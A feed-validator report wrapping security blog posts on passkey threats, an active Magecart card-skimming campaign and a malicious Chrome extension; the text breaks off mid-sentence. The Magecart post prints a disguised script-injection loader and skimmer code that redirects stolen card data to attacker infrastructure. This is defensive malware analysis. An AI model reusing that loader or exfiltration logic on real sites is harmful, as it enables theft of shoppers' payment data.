Analysis of https://scotthelme.co.uk/rss/

Feed fetched in 54 ms.
Warning Content type is application/rss+xml; charset=utf-8, not text/xml or applicaton/xml.
Feed is 227,192 characters long.
Feed has an ETag of W/"37782-lOvDDfafmi0NkaxoyCes4iayMv0".
Warning Feed is missing the Last-Modified HTTP header.
Feed is well-formed XML.
Warning Feed has no styling.
This is an RSS feed.
Feed title: Scott Helme
Error Feed self link: https://scotthelme.ghost.io/rss/ does not match feed URL: https://scotthelme.co.uk/rss/.
Feed has an image at https://scotthelme.ghost.io/favicon.png.
Feed has 15 items.
First item published on 2026-04-22T13:37:22.000Z
Last item published on 2025-11-19T21:24:19.000Z
All items have published dates.
Newest item was published on 2026-04-22T13:37:22.000Z.
Home page URL: https://scotthelme.ghost.io/
Error Home page does not have a matching feed discovery link in the <head>.

1 feed links in <head>
  • https://scotthelme.ghost.io/rss/

  • Home page has a link to the feed in the <body>

    Formatted XML
    <?xml version="1.0" encoding="UTF-8"?>
    <rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/">
        <channel>
            <title><![CDATA[Scott Helme]]></title>
            <description><![CDATA[Hi, I'm Scott Helme, a Security Researcher, Entrepreneur and International Speaker. I'm the creator of Report URI and Security Headers, and I deliver world renowned training on Hacking and Encryption.]]></description>
            <link>https://scotthelme.ghost.io/</link>
            <image>
                <url>https://scotthelme.ghost.io/favicon.png</url>
                <title>Scott Helme</title>
                <link>https://scotthelme.ghost.io/</link>
            </image>
            <generator>Ghost 6.34</generator>
            <lastBuildDate>Mon, 27 Apr 2026 11:12:10 GMT</lastBuildDate>
            <atom:link href="https://scotthelme.ghost.io/rss/" rel="self" type="application/rss+xml"/>
            <ttl>60</ttl>
            <item>
                <title><![CDATA[Security considerations when using Passkeys on your website]]></title>
                <description><![CDATA[<p>Passkeys are awesome and that&apos;s why we implemented them on Report URI! You can <a href="https://scotthelme.co.uk/launching-passkeys-support-on-report-uri/?ref=scotthelme.ghost.io" rel="noreferrer">read about our implementation here</a> and get the basics on how Passkeys work and why you want them. In this post, we&apos;re going to focus on what security considerations you should have</p>]]></description>
                <link>https://scotthelme.ghost.io/security-considerations-when-using-passkeys-on-your-website/</link>
                <guid isPermaLink="false">697a56f703d4840001b00ea1</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[Passkeys]]></category>
                <category><![CDATA[XSS]]></category>
                <category><![CDATA[CSP]]></category>
                <category><![CDATA[Permissions Policy]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Wed, 22 Apr 2026 13:37:22 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/scott-blog-passkey-header.jpg" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/scott-blog-passkey-header.jpg" alt="Security considerations when using Passkeys on your website"><p>Passkeys are awesome and that&apos;s why we implemented them on Report URI! You can <a href="https://scotthelme.co.uk/launching-passkeys-support-on-report-uri/?ref=scotthelme.ghost.io" rel="noreferrer">read about our implementation here</a> and get the basics on how Passkeys work and why you want them. In this post, we&apos;re going to focus on what security considerations you should have once you start using Passkeys and we&apos;ve produced a whitepaper for you to take away that contains valuable information.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-2.png" class="kg-image" alt="Security considerations when using Passkeys on your website" loading="lazy" width="974" height="141" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/report-uri---wide-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-2.png 974w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="what-passkeys-actually-protect">What passkeys actually protect</h3><p>Passkeys are built on WebAuthn and use asymmetric cryptography, offering some incredibly strong protections. The user&#x2019;s device generates a key pair, the public key is registered with a service like <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>, and the private key remains protected on the device, often inside secure hardware like a TPM. During authentication, the server issues a challenge and the device signs it after &apos;user verification&apos;, typically biometrics or a PIN. This model gives passkeys some very strong security properties! </p><p>First, there is no shared secret for an attacker to steal from the server and replay elsewhere because only the public key is stored with the service. This means that Report URI isn&apos;t storing anything sensitive related to Passkeys.</p><p>Second, the credential is bound to the correct origin, which makes phishing dramatically less effective. The browser or other device that registered the Passkey knows exactly where it was registered, so a user can&apos;t be tricked into using it in the wrong place.</p><p>Third, each authentication is challenge-based, which prevents replay, so even if an attacker could capture an authentication flow, it couldn&apos;t be used again later.</p><p>Fourth and finally, the private key is not exposed to JavaScript running in the page! &#x1F389;</p><p>All of that is awesome and each point provides valuable protection. If your threat model includes password reuse, credential stuffing, password spraying, or fake login pages, then Passkeys are a direct and effective improvement.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/user-key-duotone-solid-1.png" class="kg-image" alt="Security considerations when using Passkeys on your website" loading="lazy" width="256" height="256"></figure><p></p><h3 id="where-the-threat-model-shifts">Where the threat model shifts</h3><p>What passkeys do not do is make the authenticated application trustworthy by default. Once the user has successfully authenticated, most applications establish a session using a cookie or token (probably a cookie). The Passkey is helping to solve the problem of reliably authenticating the user, but once that step is complete, we&apos;re still falling back to a traditional cookie! Strong passwords, 2FA, Passkeys, and everything else we do all still end up with a cookie(?!). </p><p>The question then remains &quot;Can the attacker abuse the authenticated state?&quot;, and this is where traditional attacks like XSS and CSRF remain a real threat. Let&apos;s look at a few examples of the kind of things that can go wrong:</p><p>The first is &quot;session hijacking&quot; (sometimes called &quot;session riding&quot;). If session tokens are accessible, XSS may steal them. Even if they are protected with <code>HttpOnly</code>, malicious code can still perform actions inside the victim&#x2019;s authenticated browser without needing to extract the cookie itself!</p><p>The second is malicious passkey registration. Let&apos;s be crystal clear, XSS cannot extract the victim&#x2019;s private key or forge WebAuthn responses, but it may still be used to manipulate the user into approving registration of a passkey in an attacker-controlled environment. That creates persistence without breaking WebAuthn itself.</p><p>The third is transaction manipulation. This is one of the clearest examples of the gap between strong authentication and trustworthy application behaviour. A user may authenticate securely with a Passkey, but malicious JavaScript can still alter transaction parameters in the page or intercept API requests before submission. The user thinks they approved one action, while the application processes another, and we had probably the best example ever of that with the <a href="https://www.bbc.co.uk/news/articles/c2kgndwwd7lo?ref=scotthelme.ghost.io" rel="noreferrer">ByBit hack that cost them $1.4 billion dollars</a>!</p><p>To clarify, none of these are Passkey failures, they&apos;re application failures, but a good example of the risks that remain.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/square-js-brands-solid.png" class="kg-image" alt="Security considerations when using Passkeys on your website" loading="lazy" width="256" height="256"></figure><p></p><h3 id="defence-in-depth">Defence in depth! </h3><p>Especially after deploying Passkeys, we should continue to maintain a strong focus on protecting against XSS (Cross-Site Scripting). We saw that yet again XSS was the <a href="https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2025-by-mitre-and-cisa/?ref=scotthelme.ghost.io" rel="noreferrer">#1 Top Threat of 2025</a>, so we still have a little way to go here, but nonetheless, there&apos;s a lot we can do! Tactics like context-aware output encoding, avoiding dangerous DOM sinks, validating and sanitising input, and using modern frameworks safely should all feature high on your list of protections. Finally, of course, is Content Security Policy. A strict CSP is one of the strongest controls available for reducing the exploitability of XSS and acts as your final line of defence before bad things happen. Blocking inline scripts, restricting script sources, and removing dangerous execution paths like <code>eval()</code>, all materially improve your resilience. CSP will not compensate for insecure code, and it isn&apos;t meant to, but it can significantly constrain what an attacker can do.</p><p>Following on from a robust CSP, we have Permissions Policy, which is often overlooked. In Passkeys-enabled applications, restricting access to <code>publickey-credentials-get</code> and <code>publickey-credentials-create</code> allows us to control access to WebAuthn API / Credential Management calls. Permissions Policy does not prevent injection, but it does reduce the capabilities available to injected code and helps enforce least privilege across pages and origins. A simple config might look like this delivered as a HTTP response header:</p><p></p><pre><code class="language-`">Permissions-Policy: publickey-credentials-create=(self), publickey-credentials-get=(self)</code></pre><p></p><p>Then there is security of the cookie itself. I wrote about this all the way back in 2017 in a blog post called <a href="https://scotthelme.co.uk/tough-cookies/?ref=scotthelme.ghost.io" rel="noreferrer">Tough Cookies</a>, but here&apos;s a quick summary for you. Session cookies should be <code>HttpOnly</code>, <code>Secure</code>, have an appropriate <code>SameSite</code> policy and use at least the <code>__Secure-</code> prefix (or <code>__Host-</code> prefix where possible).</p><p>Finally, sensitive actions need stronger guarantees than &#x201C;the user has an active session&#x201D;. High-risk operations such as transferring money, changing recovery settings, or managing credentials should require a fresh authentication challenge to ensure that the user is the one at the keyboard initiating the action.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/fort-sharp-duotone-solid.png" class="kg-image" alt="Security considerations when using Passkeys on your website" loading="lazy" width="256" height="256"></figure><p></p><h3 id="read-our-whitepaper">Read our whitepaper</h3><p>If you want more information to really understand the threats that exist in a Passkeys enabled environment, you can download a copy of our white paper that contains detailed information on the problem and the solutions. You can find the white paper on our Passkeys solutions page: <a href="https://report-uri.com/solutions/passkeys_protection?ref=scotthelme.ghost.io">https://report-uri.com/solutions/passkeys_protection</a></p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Fighting an active Magecart Campaign]]></title>
                <description><![CDATA[<p>We&#x2019;ve been tracking an active Magecart campaign targeting ecommerce sites, with payloads customised per victim and evasion logic designed to stay hidden from site owners. We spotted it because we monitor what code actually executes in the browser, not just what a site is supposed to load. What</p>]]></description>
                <link>https://scotthelme.ghost.io/fighting-an-active-magecart-campaign/</link>
                <guid isPermaLink="false">69d3d19ad459c7000106a3c5</guid>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 13 Apr 2026 10:48:19 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/magecart-malware-investigation.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/magecart-malware-investigation.png" alt="Fighting an active Magecart Campaign"><p>We&#x2019;ve been tracking an active Magecart campaign targeting ecommerce sites, with payloads customised per victim and evasion logic designed to stay hidden from site owners. We spotted it because we monitor what code actually executes in the browser, not just what a site is supposed to load. What we found was a live payment skimmer injecting fake payment forms, stealing card data, and adapting its exfiltration flow when defensive controls got in the way.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-6.png" class="kg-image" alt="Fighting an active Magecart Campaign" loading="lazy" width="681" height="98" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-6.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-6.png 681w"></a></figure><p></p><h3 id="the-magecart-threat">The Magecart Threat</h3><p>If you&apos;re not familiar with Magecart, we have a <a href="https://report-uri.com/solutions/magecart_protection?ref=scotthelme.ghost.io" rel="noreferrer">dedicated solutions page</a> for it on the Report URI website where you can read more details, but here&apos;s the TLDR;</p><p><em>Attackers find a way to run malicious JavaScript in your site, then use it to steal payment data entered by your visitors.</em></p><p>It is one of the most dangerous forms of client-side compromise because it often leaves little visible trace for the site owner while quietly capturing highly sensitive information.</p><p></p><h3 id="the-initial-compromise">The initial compromise</h3><p>There are many ways that you may initially be compromised, from a traditional XSS attack through to a supply chain compromise, but really, it doesn&apos;t matter how they get their malicious JavaScript in, once the attackers have JS on your page, you have a big problem.</p><p>The recent attack we&apos;ve been tracking starts with this, a simple script injection in <code>&lt;head&gt;</code>, which I&apos;ve prettified here for you.</p><p></p><pre><code class="language-js ">  !function(e, a, n, t, o, r, c) {
        e.GoogleTagManagerLoaderScript = o;        // sets window.GoogleTagManagerLoaderScript = &quot;always&quot;
        r = a.createElement(t),                    // creates a &lt;script&gt; element
        c = a.getElementsByTagName(t)[0],          // finds first &lt;script&gt; in page
        r.async = 1,                               // async load
        r.src = e.atob(&quot;*snip base64*&quot;),           // decodes base64 URL &#x2192; script source
        c.parentNode.insertBefore(r, c)            // injects before first script tag
      }(window, document, 0, &quot;script&quot;, &quot;always&quot;);</code></pre><p></p><p></p><p>What makes this especially effective is how ordinary it looks. Anyone who has spent time inspecting the DOM will have seen almost this exact pattern before. It deliberately mimics the real GTM loader: the same argument structure, the same DOM insertion technique, and the same overall shape. The key difference is that instead of loading <code>gtm.js</code>, it base64-decodes a malicious URL at runtime and injects attacker-controlled JavaScript instead.</p><p>If you base64 decode the URL, it points to a new domain, registered for these attacks, and serves specific payloads on a per-target basis depending on the site name in the path component. Here&apos;s a screenshot of the malware payload:</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-5.png" class="kg-image" alt="Fighting an active Magecart Campaign" loading="lazy" width="1301" height="817" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-5.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/image-5.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-5.png 1301w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="targeted-attack">Targeted attack</h3><p>Because the payload is customised per target, it includes a number of more advanced behaviours:</p><p></p><p><strong>Admin detection</strong> - before running, the script uses various techniques to detect if the current site visitor is a WordPress, Magento, PrestaShop, or OpenCart administrator, and if they are, it silently exits. This is a deliberate evasion technique so that store owners who are testing their own site will not see any malicious behaviour.</p><p><strong>Anti-debugging</strong> - the script times a debugger statement using <code>performance.now()</code> and if the elapsed time exceeds the set threshold, indicating a debugger is attached, it sets a flag in <code>localStorage</code> and permanently disables the malware in that browser by setting the <code>already_checked</code> flag.</p><p><strong>Platform fingerprinting</strong> - the script identifies if the ecommerce platform in use is one of WooCommerce, Magento, OpenCart, or PrestaShop, and then applies the correct field selectors and event hooks for that specific platform.</p><p></p><p>This is not a generic opportunistic skimmer. It is a targeted and more capable malware payload designed to evade detection and adapt to the environment it lands in.</p><p></p><h3 id="skimmer-activation">Skimmer activation</h3><p>Once the skimmer is active on a checkout page, it injects a fake payment form into the page, styled to match the original payment form exactly. It will then hook all of the form inputs and select fields which are written to <code>localStorage</code> as the user interacts with them. The submission of the form is then intercepted and the stolen data is exfiltrated, both with a variety of methods depending on the platform being used. One way or another, the skimmer is going to try and grab the data and then exfiltrate it to the drop server controlled by the attackers! But it&apos;s this final part that caught my eye...</p><p></p><h3 id="the-csp-bypass">The CSP Bypass</h3><p>One detail stood out in the payload: the malware explicitly contained logic labelled as a &#x201C;CSP bypass&#x201D;. In reality, this was not a direct defeat of CSP enforcement so much as an adaptive theft technique. When direct exfiltration looked risky, the malware redirected the victim to attacker-controlled infrastructure with the stolen payment data embedded in the URL, then bounced them back to the legitimate site.</p><p></p><pre><code class="language-js">  if(_0x4bb993[&apos;enableCspBypass&apos;]&amp;&amp;_0x4bb993[&apos;cspProxyUrl&apos;]) {
        _0x2a3ee8()&amp;&amp;(console[&apos;log&apos;](&apos;[CSP BYPASS] Redirecting to proxy page...&apos;),console[&apos;log&apos;](&apos;[CSP\x20BYPASS]\x20Proxy\x20URL:&apos;,_0x4bb993[&apos;cspProxyUrl&apos;]),console[&apos;log&apos;](&apos;[CSP BYPASS] Data (base64):&apos;,_0xb0be14));
        localStorage[&apos;setItem&apos;](&apos;already_checked&apos;,&apos;1&apos;);
        const _0x210768=_0x4bb993[&apos;cspProxyUrl&apos;]+&apos;?data=&apos;+encodeURIComponent(_0xb0be14);
        window[&apos;location&apos;][&apos;href&apos;]=_0x210768;
        return;
      }</code></pre><p></p><p></p><p>In other words, the malware was adapting its exfiltration path when it detected an environment where CSP might make a more direct route less reliable. It captured the form submission, encoded the stolen payment data, and sent the victim through attacker infrastructure using <code>window.location.href</code>, with the data passed in the request before returning them to the real site.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-7.png" class="kg-image" alt="Fighting an active Magecart Campaign" loading="lazy" width="1212" height="237" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-7.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/image-7.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-7.png 1212w" sizes="(min-width: 720px) 720px"></figure><p></p><p>The attacker now has the stolen credit card data and the endpoint then redirects the user back to the correct page on the target site, making the process completely invisible to the user. Here&apos;s a payment I tried to submit using fake credit card details on the live site:</p><p></p><pre><code class="language-json">{
      &quot;domain&quot;:&quot;https://www.*snip*.com&quot;,
      &quot;data&quot; : {
        &quot;uagent&quot;:&quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36&quot;,
        &quot;card&quot;:&quot;4242424242424242&quot;,
        &quot;exp&quot;:&quot;03/27&quot;,
        &quot;cvv&quot;:&quot;144&quot;
      }
    }</code></pre><p></p><p></p><p>Calling this a &#x201C;CSP bypass&#x201D; is slightly misleading. The more important lesson is that once hostile JavaScript is running in the browser, attackers still have a great deal of flexibility in how they capture and move stolen data. That adaptability is exactly what makes these attacks so dangerous.</p><p></p><h3 id="ongoing-threat">Ongoing threat</h3><p>This campaign is still ongoing. While we continue working to understand the wider impact, our visibility naturally allows us to notify only a subset of potentially affected organisations directly. By publishing these findings, and reporting the infrastructure involved, we hope to help defenders identify and disrupt the campaign more broadly.</p><p></p><h3 id="what-defenders-should-do-now">What defenders should do now</h3><p>If you run an ecommerce site, there are a few immediate checks worth making:</p><ul><li>Review any recent changes to scripts loaded on checkout and payment pages.</li><li>Search logs, telemetry, and browser-side monitoring data for requests involving <code>styleoutsperee.com</code>.</li><li>Investigate unexpected redirects or unusual navigation during payment submission flows.</li><li>Check whether any third-party or injected JavaScript could have accessed payment form fields in the browser.</li></ul><p>Even when the server-side environment looks clean, browser-side visibility can reveal malicious behaviour that would otherwise go unnoticed.</p><p></p><h3 id="indicators-of-compromise">Indicators of Compromise</h3><p>Here are the details:</p><p>Domain: <code>styleoutsperee.com</code> (registered 15th Feb 2026)<br></p><p>If you want visibility into threats like this on your own site, you can start a 30-day free trial at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>. Our <a href="https://report-uri.com/solutions/javascript_integrity_monitoring?ref=scotthelme.ghost.io" rel="noreferrer">JavaScript Integrity Monitoring</a> solution takes less than a minute to deploy and can begin collecting useful browser-side telemetry almost immediately.</p><p></p><p></p>
    <!--kg-card-begin: html-->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-okaidia.min.css" integrity="sha512-mIs9kKbaw6JZFfSuo+MovjU+Ntggfoj8RwAmJbVXQ5mkAX5LlgETQEweFPI18humSPHymTb5iikEOKWF7I8ncQ==" crossorigin="anonymous" referrerpolicy="no-referrer">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js" integrity="sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-json.min.js" integrity="sha512-QXFMVAusM85vUYDaNgcYeU3rzSlc+bTV4JvkfJhjxSHlQEo+ig53BtnGkvFTiNJh8D+wv6uWAQ2vJaVmxe8d3w==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <style>
      pre[class*="language-"] {
          font-size: 0.75em;
      }
    </style>
    <!--kg-card-end: html-->
    ]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Amazing Refresh — A Malicious Chrome Extension Running Malware in the Browser]]></title>
                <description><![CDATA[<p>We recently uncovered a malicious browser extension affecting visitors to customer websites. It injected JavaScript into pages, hijacked outbound clicks through affiliate infrastructure, and quietly monetised user traffic. We spotted it not because a website was compromised, but because we monitor what code actually executes in the browser.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-3.png" class="kg-image" alt loading="lazy" width="681" height="98" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-3.png 681w"></a></figure><p></p><p>Even though</p>]]></description>
                <link>https://scotthelme.ghost.io/amazing-refresh-a-malicious-chrome-extension-running-malware-in-the-browser/</link>
                <guid isPermaLink="false">69d391eed459c7000106a2f7</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[javascript]]></category>
                <category><![CDATA[malware]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Tue, 07 Apr 2026 15:05:57 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/amazing-refresh-extension-analysis.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/amazing-refresh-extension-analysis.png" alt="Amazing Refresh &#x2014; A Malicious Chrome Extension Running Malware in the Browser"><p>We recently uncovered a malicious browser extension affecting visitors to customer websites. It injected JavaScript into pages, hijacked outbound clicks through affiliate infrastructure, and quietly monetised user traffic. We spotted it not because a website was compromised, but because we monitor what code actually executes in the browser.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-3.png" class="kg-image" alt="Amazing Refresh &#x2014; A Malicious Chrome Extension Running Malware in the Browser" loading="lazy" width="681" height="98" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-3.png 681w"></a></figure><p></p><p>Even though the customers&apos; website and supply chain were not compromised, the browser was still executing unauthorised JavaScript in the context of their site. That meant we could still see it. From the website owner&#x2019;s point of view, this is outsourced client-side compromise: your visitors can be manipulated, redirected, and monetised while they are on your site, and you may never know it is happening.</p><p></p><h3 id="how-we-do-it">How we do it</h3><p>We collect and process a huge volume of telemetry data at Report URI, and sometimes that data reveals serious problems. Our main goal is to identify malicious behaviour in the JavaScript running on our customers&#x2019; websites, often introduced by traditional attacks like XSS or, more recently, supply-chain compromise. Sometimes, though, the malicious code does not come from the site or its supply chain at all. It comes from the client.</p><p></p><h3 id="browser-extensions">Browser Extensions</h3><p>The <em>only</em> browser extension that I run is the 1Password extension to integrate with my password manager, that&apos;s it. I do not run, and will not run, any other browser extension simply because they terrify me. I don&apos;t feel like many people fully understand the access to your data that a browser extension has. The ability to see what&apos;s on the page, see what you&apos;re typing, change what you see, interact with the DOM, and so much more. Browser extensions are effectively all-powerful and can do almost whatever they want. That&apos;s awesome when they provide legitimate, useful functionality, but you have a really big problem when the extension wants to do something less noble.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-4.png" class="kg-image" alt="Amazing Refresh &#x2014; A Malicious Chrome Extension Running Malware in the Browser" loading="lazy" width="537" height="170"></figure><p></p><h3 id="amazing-refresh">Amazing Refresh</h3><p>Amazing Refresh presents itself as a simple tab auto-refresher, allowing users to set pages to automatically reload at a defined interval. While this functionality is real and works as advertised, it serves primarily as cover for a sophisticated malware operation running silently in the background.</p><p>Every time a user navigates to any page in any tab, the extension fires a POST request to <code>api.amazingrefresh.com/v1/reload</code>, exfiltrating:</p><ul><li>The current page URL</li><li>The previous page URL (tracking navigation paths across sites)</li><li>Window dimensions and user agent</li><li>Every element ID present on the page</li><li>A unique client identifier tied to the user&apos;s Google Analytics profile</li></ul><p></p><p>Here&apos;s a screenshot of the behaviour firing the request in my local Sandbox.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/Screenshot-2026-04-06-120803.png" class="kg-image" alt="Amazing Refresh &#x2014; A Malicious Chrome Extension Running Malware in the Browser" loading="lazy" width="1609" height="993" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/Screenshot-2026-04-06-120803.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/Screenshot-2026-04-06-120803.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/04/Screenshot-2026-04-06-120803.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/Screenshot-2026-04-06-120803.png 1609w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="script-injection">Script injection</h3><p>The extension injects a <code>&lt;script&gt;</code> tag directly into every page the user visits, running in the MAIN world &#x2014; the same execution context as the page itself, bypassing Chrome&apos;s content script sandbox. The script injected is whatever URL the C&amp;C server has most recently instructed it to use, stored in <code>chrome.storage.local</code>.</p><p>The default fallback script bundled with the extension (<code>js/reload_helper.js</code>) suppresses <code>beforeunload</code> dialog prompts &#x2014; the &quot;are you sure you want to leave?&quot;<br>browser warnings. This is not accidental; it exists to make redirects performed by the injected payload seamless and invisible to the user. It&apos;s these script injections and external communications to GA that we were detecting and alerting on at Report URI.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-2.png" class="kg-image" alt="Amazing Refresh &#x2014; A Malicious Chrome Extension Running Malware in the Browser" loading="lazy" width="1355" height="547" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/image-2.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-2.png 1355w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="the-malicious-payload">The malicious payload</h3><p>The remotely-delivered script that we observed being served from <code>amazingrefresh.com/js/reload_helper.js</code> is a sophisticated affiliate hijacker that steps through the following process at the time of inspection:</p><p></p><ol><li>Geolocates the user via <code>meetlookup.com</code></li><li>Fetches a list of affiliate domains from a CDN (<code>1752680588.rsc.cdn77.org</code>)</li><li>Intercepts all link clicks on the page</li><li>When a clicked link matches a known affiliate domain, redirects it through <code>advertisingshubb.com/pg/</code> &#x2014; an affiliate tracking gateway &#x2014; monetising the click<br>without the knowledge of the user or website owner</li><li>Uses cookies to track which offers have been shown and clicked, with deduplication logic to avoid repeat redirects to the same offer</li><li>Selects and prioritises offers based on the user&apos;s country, custom rates, PPS and PPL values</li></ol><p></p><h3 id="evasion-techniques">Evasion techniques</h3><p>The browser extension and its behaviour are deliberately designed to avoid detection, which makes sense, and is likely how it has managed to get to almost 100,000 active installs. The extension package itself contains only innocuous looking code, so after unpacking and analysing the included code, there are no immediate alarm bells. The malicious JS payload lives on <code>amazingrefresh.com</code> and is served to the client dynamically only when certain conditions are met, further limiting the ability to detect the malicious behaviour. The malicious code:</p><p></p><ul><li>Uses session storage to ensure it only runs once per page load </li><li>Suppresses page-leave prompts to hide redirects from the user</li><li>The payload removes itself from the DOM</li><li>Fingerprints the depth of iframes, possibly to avoid analysis</li><li>Suppresses click events so other analytics don&apos;t see them</li><li>Hides the entire page during a redirect</li></ul><p></p><p>On top of all of that, and I think quite interesting, they&apos;re using Google Analytics to monitor their infected user base, firing an event every 60 minutes to keep track of how many infected devices there are!</p><p></p><h3 id="impact-on-website-owners">Impact on website owners</h3><p>We detected this attack because we&apos;re closely monitoring the JavaScript running on our customers&apos; websites, and as I said at the start, 